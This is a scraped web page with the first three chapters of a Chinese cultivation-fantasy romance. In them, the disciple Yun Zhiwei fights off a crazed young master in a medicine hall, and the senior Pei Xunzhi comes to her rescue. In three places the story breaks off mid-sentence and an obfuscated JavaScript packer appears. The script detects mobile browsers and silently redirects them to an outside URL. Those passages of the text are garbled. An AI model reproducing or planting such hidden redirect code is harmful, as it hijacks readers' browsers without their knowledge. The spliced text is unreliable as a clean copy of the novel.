《小师兄假死后倒追我》 1. 第1章 天墟宗,回春医堂。 五横宽的药房内,贴墙矗立着三面直抵屋顶的暗褐色大药柜。 满房弥漫的苦涩药味中,医师们或立或蹲,或站于高梯上,有条不紊地拉开药柜上的小抽屉,取出丹药封入瓷瓶,贴上标签,然后存放在一旁的丹药柜架上。 “手脚都麻利些!等会裴少主就来取药了!” 一个老婆婆快步走入医堂,语气严厉。 她满头银发干净利落地梳成一个发髻,高颧骨,鹰钩鼻,脸上皱纹如刀。 眼睛虽然略显浑浊,但目光异常锐利。 她便是春风医堂的主执事,药婆婆。 药婆婆目光一扫,盯住一个手忙脚乱的新来小医女,苍老的声音里满含怒火。 “怎么是你在负责这块?赶紧给我下来!” 那小医女坐在一个五人高的梯子上,正从最顶层的小抽屉里取出一个已经封好的药瓶。 她一扭头,恰好对上药婆婆那压迫感十足的怒容,登时心跳加快,手不听使唤地一抖。 药瓶从指间滑落,直直下坠! 小医女脸色唰地一白——那是一日癫! 此毒离开瓷瓶便会化为紫烟,沾身则一日毙命! 她慌得两股战战,下意识伸手想去抓落下的瓷瓶,结果身子一歪,失去平衡,从高梯上跌落,发出尖叫:“啊——!” 在场的医师们修的是炼丹制药,于救人杀人一事上毫无造诣,反应能力更是指望不上。 几个离得近的医师,本想跑远以躲开一日癫,可见小医女下坠,又想去救,一时之间进退两难,双腿像注了铅似的僵在原地。 药婆婆倒是反应很快,立马上前,但毕竟上了年纪,心有余而力不足。 就在这电光火石的一瞬间,一个身着嫩鹅黄衣裙的少女,疾奔入医堂内,朝一日癫落下的方向跑去。 啪嗒—— 可惜,还不待那少女有所动作,瓷瓶已然落地,瓶身四分五裂,一日癫化作浓郁的紫烟,袅袅升起。 在众医师惊慌失措的惊呼中,少女果断抬脚,一脚踹飞地上一个药篓子。 药篓子高高飞起,划出一道漂亮的弧线,稳当落下,恰好罩住地上的一日癫,隔绝了紫烟的弥漫。 紧接着,她双手快速翻飞,结了一个歪七扭八的护体灵印,一掌推出。 就在小医女快到落地的那瞬间,护体灵印及时赶到,迅速铺开一层薄薄的透明灵罩。 小医女撞在灵罩上,整个身子轻微地弹了一弹,安然落地。 众医师见状,纷纷松了一口气。 药婆婆紧拧的眉头舒展开,一直注视着少女的眼眸中,露出赞许的意味。 这少女名唤云知微,是天墟宗的外门弟子,修为低微,一直无法突破五境;而她的同龄人,最差都已晋入六境。 她方才用的护体灵印,属于六境术法,按理来说,只有五境的云知微是无法结印成功的。 没想到,那印虽然结得破破烂烂,但到底还是结成,救了小医女一命。 “你们看!我是不是顶厉……啊!” 云知微还没站稳,就迫不及待地露出得意的笑容,想同众人炫耀。 不料,护体灵印后力未消,竟裹挟着她整个人向前猛冲。她猝不及防,一头撞上坚硬的药柜,结结实实地发出一个闷响。 云知微一把捂住额头,眼睛因为疼痛而骤然紧闭,嘴巴张开,发出惨痛的叫声:“嘶嗷……” 药婆婆一惊,快步上前,将云知微捂住额头的手拿开。 她光洁瓷白的额头上,迅速肿胀出半个拳头大小的红包。 药婆婆皱眉,拉开药柜上的一个小抽屉,摸出一瓶消肿药,将棉球沾了消肿药粉,给云知微上药。 “我,嘶,痛痛痛,婆婆轻点……嘶,是不是,嘶,顶厉害?” 云知微痛得龇牙咧嘴、眼泛泪花,但坚持着把刚才没说完的话说完,水汪汪的眼神里明晃晃地写着“求表扬”。 “方才莽莽撞撞的,现在知道痛了?” 药婆婆瞪了她一眼,语气严厉,但口硬心软地减轻了搽药的力道。 被救下的小医女惊魂未定,眼眶泛红,捏着衣角走过来,向云知微深深鞠了一躬,结结巴巴道:“云师姐,要不是你我就……我,谢谢你的救命之恩,我,我以后一定做牛做马……我……” 她语塞半晌,似乎是不知道该如何表述才能表达谢意,又着急又紧张,脸涨得通红,手快把衣角搓烂了。 “别以后了,就现在。” 云知微打断小医女,伸出一根食指,左右晃了晃。 然后手一翻,冲小医女摊开手掌,指尖勾了勾。 “你做的小饼干很好吃,我最喜欢了!再给我一包行不行?” 她上次来医堂,尝到十分美味的小饼干,据说是新来小医女做的。可惜,当时只剩三片了。 小医女一听,神情错愕片刻,然后受宠若惊地不断点头:“好好,没问题。我,我还会做各种小零嘴,只要你喜欢,我,我都给你做。” “那太好了!” 云知微甚是欢喜,眼睛满意地弯成月牙儿,樱唇咧开,露出洁白贝齿,左边脸颊陷出一个浅浅的梨涡;脑袋轻微一晃,白皙的颈胸前坠着一根精巧的雪银色璎珞,上面的雪花纹和九颗雪珠也跟着颤动。 药婆婆呵斥一声:“别动!吃吃吃!小饼干有什么好吃的!” 云知微吐了下舌头,冲小医女眨眨眼,一只脚悄摸翘起,脚尖偷偷画着圈儿。 小医女垂眸瞅见了,抿嘴一笑。 上完药,药婆婆不轻不重地敲了一下云知微的后脑勺,然后从怀中摸出一个小瓷瓶,递给她,问:“你不是明日才来拿续命丹么?” “谢谢药婆婆。”云知微叩开戴在左手小指上的灵戒,将续命丹放进去,“听说小师兄今日会来春风堂,我找他有事,就提前一日来了。” 药婆婆皱眉:“裴浔之?你找他什么事?” 云知微顿了下,含糊回答:“我阿兄的事。” 见她目光躲闪,药婆婆只当是少女心事不便多言,便问了旁的事:“你阿兄身体最近如何了?” 云知微摇摇头,瞳仁里少见地飘过一抹愁云:“还是老样子,不见好转。” “不过没事!” 在药婆婆出声安慰之前,云知微下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143299|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴稍抬,漆黑透亮的眼珠宛若宝石一般熠熠生辉,一副胸有成竹的模样,“药婆婆放心,我有法子!” 药婆婆见云知微一脸天真烂漫,质疑:“你一小姑娘,能有什么法子?” 旁边一个医女猜测:“难不成,你是想去找神都裴氏的医圣,李青培?” 李青培是药王谷谷主,九州医圣,早被神都纳入麾下,只为裴氏族人治病,外人一概不管。 药婆婆鼻翼翕动,心中萌生出一个猜测:云知微这般喜欢那裴浔之,该不会是打算嫁入裴氏,从而求得医圣李青培为她阿兄治病吧? “微微,你可别走岔路。“她语气严厉起来。 云知微歪头,脸上露出一种清澈的茫然:“啊,什么岔路?” 她话音未落,门外突然传来一阵喧哗。 “哎哎,崔师兄,里面在备药呢,不能进去!” “滚开!” 一个少年昂首阔步,走进药房。 他未着天墟宗门服,一身绛色绣金牡丹纹圆领袍,领口敞开露出玄色中衣,嵌着宝石的腰带系得松垮,坠着一块价值不菲的玉佩。 虽打扮奢靡,容貌却病恹恹的:面色惨白,眼窝泛青,嘴唇毫无血色。 “崔九斯你干甚么!药房可不是给你玩闹的地方!” 药婆婆上前,语气严厉地指责来人。 来人是崔九斯,玉京崔氏的三少主,在九州纨绔榜上常年一骑绝尘地占据榜首之位。 崔九斯吸了吸鼻子,从满屋清苦的药味中嗅到一丝熟悉的花香。他视线快速一扫,定格在暗褐药柜前那一抹明媚鹅黄上,登时脸色一沉,忽地想起一段难堪往事。 一年前,裴浔之得宗主之令,去明月峰指导剑术,被一群修士围观。 于人群最前方,崔九斯瞥见云知微,霎时惊为天人,于是,他煞费苦心制造各种机会去接触云知微,试图讨她喜欢,但发现她满心满眼都是那该死的裴浔之。 她明明同他对话好几次,最后却连他姓什么都不记得! 对于在锦绣堆里长大、一直有求必应的他来说,这简直是奇耻大辱。 如今又见到她,少不得要故意羞辱一番。 “云知微,你一个区区五境的外门弟子,怎么总往我们内门跑?” 崔九斯眯了眯眼,双手环抱,走到云知微跟前,居高临下地睨她,语气嘲弄。 “你该不会以为多来几次,混个脸熟,裴浔之就会看上你了?别做春秋大梦了,他看不上你这种人的,本少爷劝你趁早死心!” 云知微仰起头,不错眼地盯着崔九斯。 她一双杏眸无比透亮,宛若清晨露珠,能映出这世间万般纯粹光景。 崔九斯目光闪烁,喉结滚动,不自然地别开脸,怒喝道:“看什么看!” 云知微头一歪,神情中带点疑惑,脆生生道:“九师兄,我喜欢小师兄与你何干?为何这般恼怒?” 崔九斯噎住,不知是该先反驳他不姓“九”,还是该回答为何恼怒。 不等他开口,云知微下巴一缩,肩一耸,“啊~”了一声,一副恍然中夹着试探的真挚神色。 “你也喜欢小师兄啊?” 2. 第2章 旁边的医师们听了,发出低低的笑声。 崔九斯不是没领教过云知微那时不时出人意料的脑回路,但没料到她竟能将对话歪得这般风牛马不相及,一时不知如何反驳才能占据上风,气得直咬后槽牙。 药婆婆眸中笑意一闪而过,旋即正色问崔九斯:“崔九斯,你到底来做甚么?” 崔九斯整了整衣领,狠瞪云知微一眼,转头看向药婆婆,暴躁的语气中夹杂着颐指气使的意味:“来几瓶续命丹。” 闻言,药婆婆不容置疑地拒绝:“你此月领取的续命丹数量已超额;若是想要更多,劳烦拿着宗主的特批来罢。老身可不敢擅自违反门规。” 崔九斯蹙眉,一脸不屑:“什么门规不门规的,少在本少爷面前装模作样;云知微一个外门弟子,根本没有资格拿续命丹。我要几瓶又如何?” 药婆婆冷笑一声,简短道:“那是微微自个炼制的。门规可没说外门弟子不得用春风堂的炼药器具。” 崔九斯诧异地瞪大眼,一脸不信,下意识脱口而出:“开什么玩笑?就她这资质?怎么可能?” 云知微连五境都突破不了,说明天资愚钝,是个中看不中用的花瓶,怎么可能会炼制续命丹这种高阶丹药? 对丹修来说,至少要到七境,才能炼制出续命丹。 他不知道的是,早在两年前,云知微就会炼制续命丹了。 一开始,她来回春医堂为她阿兄求续命丹,药婆婆态度强硬地拒绝了。 续命丹珍贵无比,内门弟子才有资格享有,且每月领取数量有限;像云知微这样的外门弟子,须得经宗主或长老特批,才可领续命丹。 云知微吃了好几次闭门羹,并不气馁;她眼尖嘴甜,主动帮医师们上山摘药草、洗晒药材、研磨药粉,没人忍心拒绝这么一个乖巧热情的漂亮小女孩。 一来二去,她很快就和众医师混熟了,开始缠着他们询问如何炼制续命丹。 药婆婆睁一只眼闭一只眼,想着小孩子一般都没有恒心,闹够了就走了。 没想到,云知微悟性相当高,又勤奋好学,竟然靠自己炼制出了一枚还算合格的续命丹。 药婆婆生出惜才之心,又被其兄妹之情感动,从此倾囊相授。 药婆婆懒得跟崔九斯解释这许多,只冷冷赶客:“你若不服,尽管去禀告宗主,少仗着自己的少主身份在我回春医堂撒泼!” “姓药的,别拿宗主来压我!你这破医堂都是我玉京崔氏出资修建的,我会怕他?” 崔九斯非但没有被震慑住,反而火气更盛。 药婆婆一听,眉头一皱,眉间挤出凝重的竖纹。 “崔少主不提,老身倒还忘了,几年前若不是你崔氏出资请托,为你开了这方便之门,就凭你自身资质,怕是进不来天墟宗内门!如今倒有脸在此拿乔,看不起同门!” 崔九斯两片唇瓣开了又合,被怼得一时语塞,极其惨白的脸上,也肉眼可见地浮出难堪的红晕。 他提高音量以压住心虚,反驳道:“旧事不必重提!如今本少爷已晋入九境,也就比那裴浔之晚了区区五年而已!他身怀帝王骨,早几年晋入九境不是很正常吗?!” 药婆婆一把抓过崔九斯的手腕,食指和拇指快速搭上去然后甩开,无情道:“你内息不稳、气海紊乱,怕不是靠自己晋入的九境吧。” 崔九斯一怔,仿佛是被说中了一般,牙齿咬得嘎吱作响,双拳紧握。 他面色愈发苍白,瞳仁逐渐泛上一层猩红血色,呼吸急促,胸膛剧烈起伏。 云知微察觉到崔九斯不大对劲,于是担忧发问:“九师兄,你没事吧?我怎么感觉你好像……” 突然,崔九斯目露凶光,双手一抬,袖中爆发出一股强悍的灵力,将药婆婆撞开。 两根树枝自他袖中钻出,一路野蛮掀飞好几个医师,横冲直撞地探向药柜。 “这续命丹,本少爷今日非要不可!” 在他的操纵下,树枝暴躁地划拉过几排抽屉,抽屉外表留下深重的褐色划痕,各种药丸纷纷滚落,却都不是续命丹。 “续命丹呢!给我续命丹!” 崔九斯疯了似的大吼,眸中血色更深,犹如一团熊熊燃烧的烈火,袖中树枝转而无差别攻击在场所有医师。 云知微将药婆婆推去安全的角落,一转身就看见一根粗壮树枝横扫过来,立刻下腰后仰,敏捷躲过。 崔九斯前几日刚晋入九境,她才五境,无法与其正面抗衡;但躲开他的攻击,并不算难事。 可那些医师就惨了。 他们大多数都来不及躲避,被崔九斯的树枝打伤,惨叫连连。 药婆婆抓住云知微,将她往门口推去,同时沉着道:“微微,这小子应是走火入魔失了神智!裴少主应该快到了,你赶紧出去,去找他来!” 云知微点头,朝门口方向跑了几步。 可她迅速扫了一眼药房内的情形,突然脚步一顿。 双方的修为差距实在太大了,照这样下去,一半的医师都得受伤不说,那些珍贵的丹药估计也保不住。 她到底是没有听药婆婆的话,而是一把抓起地上几颗药丸,用力朝崔九斯扔去,精准打中他的双手手腕。 崔九斯手一滞,操纵的树枝也偏了一个弧度,恰好让一个医师得以躲过一击。 “你不是已晋入九境了吗?怎么一点都不厉害?比小师兄差远了。” 云知微提高音量冲崔九斯喊,做出夸张的遗憾表情,摇了摇头。 “找死?!” 崔九斯成功被云知微激怒,收回对其他人的攻势,两根树枝迅速交织成一根,袭向云知微。 云知微脚尖轻点,跳到旁边的圆桌上,翻了个跟斗,顺势躲开崔九斯这一击,然后回踩在其树枝上,借力一扑,高高跃起,落在方才小医女用的梯子上。 她一脚踩在梯子顶部,后背紧紧贴住药柜,正面朝向崔九斯。 医师们见了,纷纷为云知微捏了一把汗。 乍一眼看去,她像是慌不择路,退至一处难守难攻的绝路上。 崔九斯冷笑一声,一脸阴沉地再次发动攻击,粗壮的树枝犹如毒蛇一般游向云知微。 云知微右手勾住一个抽屉的拉环,朝奔上前来想要救她的小医女眨眨眼,大喊一声:“别过来!” 小医女一愣,视线在云知微的右手上逗留一瞬,立刻会意,捂住口鼻,急速后撤。 与此同时,裹挟着凶猛灵力的树枝已逼至云知微面门! 云知微迅速偏头,虽险之又险地避开,脸上到底还是被擦出一道细长的血痕。 树枝则深深贯入她脑袋后面的药柜。 与此同时,她右手猛然发力,将抽屉一整个拉出,囫囵个甩向崔九斯。 崔九斯见状,毫不犹豫地收回本来要攻击云知微的树枝,将袭向自己的抽屉狠狠砸穿。 抽屉裂开,几个雪白的瓷瓶也被击碎,流出一股浓郁的紫色烟雾! 医师们恍然大悟,全数捂鼻后撤。 这是存放一日癫的抽屉! 紫烟触碰到树枝,便犹如捕到猎物的凶饿野兽,贪婪地紧咬不放。 崔九斯惨叫一声,连忙将树枝往回收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143300|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可来不及了。 紫烟迅速膨胀,如同一根粗壮的紫色藤蔓,攀着树枝向崔九斯蔓延而去,最终强势灌入他的五孔。 崔九斯双膝一弯,眼一闭,头一垂,整个人面朝地,重重栽下去。 药房里凝重可怕的气氛立刻散去,众医师长舒一口气,七嘴八舌地议论起来。 “微微你太聪明了吧!居然想到用一日癫来对付他!我方才还以为你要同他硬碰硬呢!” “幸好有微微在!不然我们都得被这崔家小少爷打成重伤!他这脾气也太差了!” “可是很奇怪,脾气再差也不可能在宗门内对同门下死手啊!这小少爷倒像是修炼走火入魔了。” 药婆婆神色严肃,打断众医师的闲聊,吩咐一个医师赶紧去唤裴浔之,并道: “九州三大世家,谁不想一统九州?三家的少主都在暗中较劲,盼着早日晋入九境。裴少主十三岁便晋入九境,陆家大少主十五岁,而这崔九斯是前几日才晋入九境的。老身猜测,他大抵是走了旁门左道强行晋升的,这才走火入魔了。” 众医师安静下来,皆唏嘘不已。 云知微双手合十,一本正经地对地上不省人事的崔九斯鞠了一躬,絮絮叨叨地解释:“实在抱歉啊崔师兄,我是形势所迫才出此下策,不过你别担心,等小师兄来了我就给你喂解药,你不会有事的……哎?哎!” 明明已经昏迷的崔九突然动了动,原本软绵瘫在地上的右手缓缓支地,撑起半个身子。 云知微惊奇道:“哇,你中了一日癫居然还能……” 她说到一半,止住话头,瞳仁倏然扩大,流露出难以置信的神色。 医师们再次惊叫出声,打破原本已经轻松下来的氛围。 一眨眼的功夫,崔九斯竟容貌大变! 他的虹膜染上一片浓郁的血色,黑色瞳仁收缩成竖瞳,目光阴冷,露出一道暴躁杀意。 脸上的苍白皮肤消失了,取而代之的是坚硬的青色鳞片,密密麻麻地铺开,沿脖颈而下,消失在敞开的绛色衣领里。 看上去,像是人身上冒出一颗蛇头,可那蛇头又保留了头发、鼻子、耳朵这些人类器官,显得不伦不类,十分诡异。 云知微呼吸瞬间凝滞,手心微汗。 她从未离开过天墟宗,不曾有过这般惊险的经历,也不清楚崔九斯这是什么情况,一时想不出应对法子。 变异的崔九斯冲她森然一笑,嘴角咧开到耳根,于两根尖锐獠牙之间,吐出一根细长的分叉猩红舌头,发出蛇类的“嘶嘶”声。 云知微想逃,可崔九斯那无形的九境威压铺天盖地而来,轻而易举地压制住她,叫她动弹不得。 紧接着,他袖中树枝化为一条碗口粗的青麟蟒蛇,闪电般攻来,将她的脖子紧紧缠住。 云知微喉间一紧,身子一轻,双脚被迫离地,整个人被高高举到半空中。 她本能地伸出手,试图将蟒蛇掰开,可它纹丝不动。 空气变得稀薄,呼吸越来越困难。 逐渐模糊扭曲的视线里,不断有药篓子、药瓶、桌椅砸到崔九斯身上,似乎是医师们在尝试救她。 迷迷糊糊中,云知微在冥冥之中察觉到,自己颈胸前的那枚雪纹璎珞似乎是抖了一下,那九颗雪珠渗出丝丝缕缕十分陌生的力量。 宛若一座沉寂已久的火山,在感知到危险时,蓄势待发,即将喷发出磅礴的力量。 而就在此时,在逐渐淡去的喧嚣嘈杂声中,一声堪称定海神针的欣喜高呼,在她耳边陡然炸开。 “裴少主来了!” 3. 第3章 咻—— 那医师话音刚落,一柄剑鞘玄黑的长剑呼啸而来,霸道地将凝滞的空气撕开一道口子。 其剑身并未出鞘,气势却凌厉倨傲,甫一出现,就将崔九斯的九境威压寸寸逼退。 于是,缠住云知微的蟒身松了几寸,新鲜空气猛地灌入她肺中,她得以缓过来。 云知微重重咳了一声,瞧见那柄悬停在她面前的玄剑,激动地瞪大眼。 无回剑! 这是小师兄裴浔之的剑,剑名“无回”。 据说,此剑名意为:剑一旦出鞘,便要杀了人才会回鞘。 取名者之自负倨傲,由此可见一般。 不屑出鞘的无回剑,裹挟着凌厉剑意,毫不犹豫劈砍下去,缠住云知微的蟒蛇断成两截,黑色腥血四溅。 在半空中的云知微脱离了蟒蛇的束缚,急速下坠。 “啊!” 云知微被那蟒蛇勒得头昏脑涨,呼吸尚未恢复正常,一时之间来不及施法自保,从喉间滑出一声破了音的惊呼。 一个身着束身门服的少年极快奔来,伸出双手,及时接住她。 然后将她扶稳站好,低头垂眸,温柔询问:“云师妹,你没事吧?” 他双眸中氤氲着淡淡的紫气,据说是来自于他体内的帝王骨。 云知微屏住呼吸,目不转睛地凝视他的青山沉稳而温润的眉眼:“小师兄……” ——以上,是云知微想象的场景。 实际上,是这样的。 就在云知微快落地时,赶来的裴浔之一把抓住还耷拉在她肩上的蟒蛇残肢,绕着她的脖子打了一个圈,将她整个人轻松拎起,无情而利落地往后一扔。 “孤山聿,接住!” 整个过程,他同她之间的距离能塞下三个人,且不曾看她一眼。 云知微就这么懵懵地被扔进那名唤孤山聿的少年怀里。 孤山聿,孤山氏少主,九州第一富商之子,裴浔之的好友。 云知微额头上的包刚好撞到孤山聿的胸骨,撞得太狠,一下激出泪花。 “嗷呜!” 她捂住额头上的包,一抬头,和手忙脚乱且一脸无辜的孤山聿面面相觑。 孤山聿瞅见云知微额头上的包,摸了摸自己的前胸,大惊失色中夹杂一丝沾沾自喜:“哇,我的胸这么硬?都给你撞出这么大一包来了?!你没事吧云师妹?!” 云知微着急去看小师兄,没工夫解释,两眼泪汪汪地摆摆手:“没事没事。” 这种可以近距离观赏小师兄出手的机会,可谓是千载难逢!她还不曾见过出鞘的无回剑长什么样呢! 而且,还是九境对九境的盛况,这打斗场面定然精彩绝伦! 轰—— 可没想到,云知微刚一转身,整个药房居然爆炸了! 在一声惊天雷响后,一道银紫闪电从天而降,狠狠劈中药房。 坚固的药房就像纸片一样脆弱,被闪电无情撕碎,溅起无数木屑和砖块瓦片。 医师们后撤的同时,哀嚎声此起彼伏:“完了完了!药柜没了,得重新炼丹了……” “呜呜,那清血丹我炼了整整七七四十九日啊!” “……还不如杀了我……” 云知微惊叹道:“哇,我第一次看小师兄用神都雷术……” 这是神都裴氏的独有功法,尤擅诛妖镇噩,裴浔之很少在宗门内使用。 云知微不自觉地向前迈出一步,被孤山聿一把拉住:“云师妹你不要命了啊?当心这些碎片!上面附着的九境雷芒能把你脑袋炸开花!” 她被强行拽停了脚步,仍旧瞪圆了眼,视线穿过漫天的烟尘沙石,四处逡巡,直到瞧见一个身形峻拔的少年。 裴浔之头戴小银冠,额上是一枚雷芒纹银质抹额,身着九境独有的螺青色门服,上面用银线绣着天墟宗宗徽。 一眼看去,是位光风霁月的矜贵公子。 他双目微垂,看不见眸中神情;双手抱臂,劲瘦锋腰间束了一根深绛色的腰带,给沉静的螺青中点上一道并不引人注目的桀骜;穿着银蟒纹黑靴的脚闲闲踩在一根木梁上,自上而下睥睨地上的崔九斯。 崔九斯仍保持着异化的模样,躺在地上,不服气的蛇信子从嘴里吐出,发出虚弱的“嘶嘶”挑衅声。 裴浔之眸中快速划过一丝鄙夷,不动声色地挪了挪身形以阻挡众人视线,然后猛然踩下木梁的一端,使得另一端高高翘起,并在他精准无误的控制下,“咚”地一声无情砸向崔九斯的脑门。 崔九斯两眼一翻,彻底晕死过去。 等漫天烟尘彻底散去,众人方才看清,在废墟之上,那三面大药柜居然还顶天立地地站着,以及旁边的几个药架,都完好无损。 它们身上附着一层厚厚的护体灵罩,将方才两个九境对抗所爆发出来的巨大冲击力完全隔绝在外。 “啊!这么快就结束了?我还什么都没看见呢。”云知微十分失望,“九境之间的差距这么大吗?” 她本以为,小师兄对上变异的九境崔九斯,至少得打十几个回合。 可仅仅几个呼吸间,他就剑不出鞘救下她、不费吹灰之力压制崔九斯,还能分出精力去结印保护药柜。 “嗐,正常水平,你是没见过他一个人把三个九境打得跪地求饶的场面。”孤山聿一副见多不怪的语气,却暗戳戳与有荣焉地停直背脊,同云知微炫耀,“不瞒你说,我拓印那场战斗的水晶片拿去卖,赚了一大笔灵石。” 云知微眼巴巴:“啊,孤山师兄你还有吗?” 孤山聿嗅到商机,立刻笑容可掬:“有呢,一百颗灵石,要吗?” 云知微一脸遗憾,礼貌拒绝:“那算了。” 裴浔之敛了周身余下的雷芒,走出废墟。 此刻,日光西斜,金黄的余晖洒下。 他背后是赤橙的云海,红日正缓慢下坠,远山浓淡起伏。 在这瑰丽璀璨的天光中,他一步步走来,宛若落入红尘的少年谪仙。 他走近,站在她五步之外,停下。 傍晚的云霞宛若一抹被人揉碎的鲜艳染料,涂抹出他的五官轮廓。 朗眉疏目,神姿高彻。 云知微拉了拉孤山聿的袖子,小声建议:“孤山师兄,这个其实也可以拓印成水晶片,定然大赚。”说话间,她转了转头,但视线一直牢牢吸附在裴浔之的脸上。 孤山聿后知后觉,痛心疾首一拍大腿:“对啊!” “多谢裴少主保全我们的药柜!里面可存了春风堂快一半的丹药。”药婆婆感激涕零,赶紧上前,朝裴浔之行了一个礼,一直紧绷的面部肌肉肉眼可见地松懈下来。 裴浔之抬手虚扶了一把,不甚在意道:“药婆婆客气了,随手的事。” “对了,他……”药婆婆指了指崔九斯。 裴浔之做了个手势,打断药婆婆,转身往东边的诊房走去。 药婆婆会意,立刻吩咐医师去抬崔九斯,跟在裴浔之身后。 孤山聿见状,也跟了上去。 裴浔之偏头,瞥了一眼孤山聿,随口一问:“你跟人聊什么呢?” 孤山聿哪里敢说在聊贩卖他肖像的事,心虚道:“没什么,就赞美你呢。” 裴浔之回头,视线像磁铁一般,恰好和云知微相撞,于是冲她友好一颔首。 然后转头,眉头一皱,对孤山聿道:“她是吓傻了还是本来就傻?还挂那有毒的玩意儿做甚么?留着煲汤吗?去给她扔了。” 孤山聿一怔,扭头一看,登时哭笑不得,于是折返回云知微那里。 他抬手,指了指云知微脖间还挂着的蟒蛇残肢,道:“云师妹,你怎的还留着它,给我吧。” 云知微立刻收回视线,拒绝:“不要。” 她舔了一下嘴唇,义正言辞道:“我还没吃过蟒蛇呢,要拿回去让阿兄给我炖汤。” “……啊?” 还真打算煲汤啊?! 孤山聿太过震撼,瞠目结舌。 这小姑娘,刚刚差点被这蟒蛇给勒死,一转头,非但没有对其产生“一朝被蛇咬十年怕井绳”的后怕恐惧情绪,反倒还想吃了它? 鲜血淋漓的蟒蛇残肢,琼花玉貌的豆蔻少女,两者诡异又和谐地融在一起,形成一副冲击力极强的画面。 “……这这这,不行,这有毒的。”孤山聿摁下心中的震惊,咽了一口口水,脸色严肃地拒绝。 “啊,有毒?那好吧。” 云知微脑补了一下喝不到的蛇肉汤,忍不住也咽了一口口水,拽下脖间蟒蛇残躯,恋恋不舍地递给孤山聿。 等孤山聿赶到东诊房时,一个医师正在给床上的崔九斯催吐。 吐出的东西是一坨粘稠的黑色凝固物,腥味浓郁。 孤山聿捏着鼻子,踮起脚尖贴墙走,最大限度地远离那摊呕吐物,绕到裴浔之身边。 药婆婆刚听完裴浔之说了什么,正在追问:“……什么,一步登天?这是何物?” 裴浔之回答:“一种可以短时间提升修为的丹药,里面有一味药材是妖域的蛇妖妖脉。我们这次下山,正是为了调查此事。” 药婆婆恍然大悟,对催吐完后逐渐恢复正常外貌的崔九斯投去鄙夷的一眼:“难怪这小子突然晋入九境,果然是借用了外力……他此番跑来春风堂,想必是服下后内息不顺导致有走火入魔的征兆,打算用续命丹来缓解。” 旋即又疑问道:“可是,若服下之后就会变成这幅模样,岂非立刻就暴露了?那卖药的可不就没生意了?” 裴浔之无视孤山聿嫌弃的目光,神色自然地走到呕吐物旁。 一滩黑色粘稠液体中,夹杂着数缕紫色丝线,肉眼极难分辨。 他指了指紫色丝线,问药婆婆:“一日癫这种致命毒药,你们春风堂拿它当水到处洒?” 言语之中,半点不掩饰指责意味。 药婆婆先是一愣,旋即反应过来裴浔之的意思。 “是了,一日癫中有一味药材是蛇妖血。裴少主的意思是,正常情况下,服用一步登天后并不会异化,但崔九斯中了一日癫,受到其中蛇妖血的刺激,所以这才……” “的确是老身疏忽了。” 旁边收拾呕吐物的医师抬头,为药婆婆辩解:“不关药婆婆的事,是云师妹干的。不过云师妹也是为了救大家,那时崔师兄已妖化发狂……” “谁?”裴浔之皱眉。 “哎呀,就是刚才那个漂亮师妹。”孤山聿刚说完,就意识到裴浔之大概没认真看人家,于是伸出手指,绕着脖子画了个圈,补充道,“脖子上挂蛇的那个。” 裴浔之惊奇地扬了扬眉:“一个五境,拿一日癫跟一个九境妖化对抗?她要是活腻了不如把一日癫往自己嘴里倒还死得快一点。” 药婆婆忙道:“微微是好心,是老身疏忽了,不该将这种毒药放在能轻易被人拿到的地方。” 裴浔之似乎懒得纠缠此事,话题回到正事上,下巴指了指昏迷不醒的崔九斯:“这蠢货今日能醒来么?” 药婆婆走到崔九斯床边,三根手指搭在他的手腕上,沉吟片刻,道:“他服用了不少一步登天,又中了一日癫,得七日后了。” “太晚了,明日我就要审他。”裴浔之的语气不容置疑。 药婆婆犹豫道:“倒是能做到,但老身是担心会影响他的根骨……” 裴浔之疑惑:“他这根骨,还有影响的余地?” 孤山聿笑出声。 药婆婆讪讪:“好,老身定让他明日醒来。” 裴浔之颔首,留下一个“劳烦了”,转身离开。 刚迈出诊房,他从怀中摸出一个掌心大小的圆润朱色小盒子,用拇指推开锁扣,啪嗒一声打开。 小盒子里面,堆满了五颜六色的水果糖,散发出甜美诱人的香味。 裴浔之随意捡了几颗,扔进嘴里,并一把打掉偷偷摸摸伸过来的孤山聿的手:“滚。” “一颗糖而已,干嘛这么小气!”孤山聿一边揉手,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143301|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边抱怨,“本公子家财万贯,够买几辈子的糖了。” “那你自个买去,别吃我的。”裴浔之收回糖盒,接着似乎想到了什么,随口嘲讽,“孤山老头子不是断了你的灵石么?你怎么就家财万贯了?” “咳咳……” 孤山聿突然被自己的唾沫呛到,心虚地别开脸。他暗地里售卖裴浔之各种相关物件,裴浔之是不知道的。 “本公子修为是不如你,但在经商一事上那是天赋卓绝,自有妙计,你少管。” 